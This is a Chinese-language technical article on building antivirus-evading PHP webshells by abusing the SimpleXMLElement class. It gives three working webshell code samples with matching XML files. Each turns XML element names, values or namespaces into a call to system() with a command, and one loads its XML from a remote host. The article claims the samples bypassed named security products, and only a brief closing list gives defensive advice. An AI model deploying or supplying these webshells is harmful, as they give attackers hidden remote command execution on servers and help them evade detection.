基于SimpleXMLElement class的免杀webshell
字数 1074 2025-08-29 08:30:12
基于SimpleXMLElement类的免杀WebShell技术分析
前言
SimpleXMLElement是PHP中用于处理XML数据的类,提供了简单方便的方式来解析XML文件和字符串。本文将详细分析如何利用SimpleXMLElement类构造免杀WebShell,这些方法已在长亭和微步等安全产品测试中验证其免杀效果。
SimpleXMLElement基础
SimpleXMLElement类代表XML文档中的一个元素,主要功能包括:
- 解析XML文件和字符串
- 访问和操作XML元素、属性和文本
- 支持XPath查询
免杀WebShell构造方法
方法一:使用key()和xpath()
关键函数
- key(): 返回当前元素的键名(PHP 8.0+)
- xpath(): 在XML数据上运行XPath查询
WebShell代码
<?php
$xmlData = file_get_contents("http://ip/3.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump(($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
?>
配套XML文件
<books>
<system>whoami</system>
</books>
工作原理
- 从远程加载XML文件
- 使用xpath()查询特定路径下的元素
- 通过key()获取函数名并执行查询结果
方法二:使用getDocNamespaces
关键函数
- getDocNamespaces(): 返回文档中声明的命名空间(PHP 5.1.2+)
WebShell代码
<?php
$xmlData = file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getDocNamespaces(TRUE);
var_dump($namespaces);
$namespaces["t"]($namespaces["p"]);
?>
配套XML文件
<?xml version="1.0" standalone="yes"?>
<people xmlns:p="whoami" xmlns:t="system">
<p:person t:id="1">John Doe</p:person>
<p:person t:id="2" a:addr="123 Street" xmlns:a="http://example.org/addr">
<books>
<book>
PHP basics
</book>
</books>
</p:person>
</people>
工作原理
- 解析XML文件获取命名空间
- 将命名空间映射为函数名和参数
- 执行函数调用
方法三:使用getChildren
关键函数
- getChildren(): 返回当前元素的子元素(PHP 8.0+)
WebShell代码
<?php
$xmlData = file_get_contents("1.xml");
$xmlElement = new SimpleXMLElement($xmlData);
for ($xmlElement->rewind(); $xmlElement->valid(); $xmlElement->next()) {
foreach($xmlElement->getChildren() as $name => $data) {
$name($data);
}
}
?>
配套XML文件
<books>
<book>
<system>whoami</system>
</book>
</books>
工作原理
- 遍历XML元素及其子元素
- 将元素名作为函数,元素值作为参数执行
技术要点总结
-
版本依赖:
- key()和getChildren()方法需要PHP 8.0+
- getDocNamespaces()支持PHP 5.1.2+
-
执行方式:
- 通过XML元素名作为函数名
- 通过XML元素值作为函数参数
- 通过XML命名空间映射函数和参数
-
免杀优势:
- 使用标准XML处理函数,无敏感字符串
- 执行逻辑分散在多个合法API调用中
- 核心恶意代码存储在外部XML文件中
-
防御建议:
- 限制SimpleXMLElement类的使用
- 监控外部XML文件加载行为
- 检查XML内容是否包含可疑的函数名
结论
利用SimpleXMLElement类构造WebShell的方法展示了攻击者如何滥用合法API实现恶意功能。这些技术利用了XML解析和处理的正常功能,通过巧妙的设计规避了传统杀毒软件的检测。防御此类攻击需要深入理解应用程序的XML处理流程,并实施严格的内容检查和权限控制。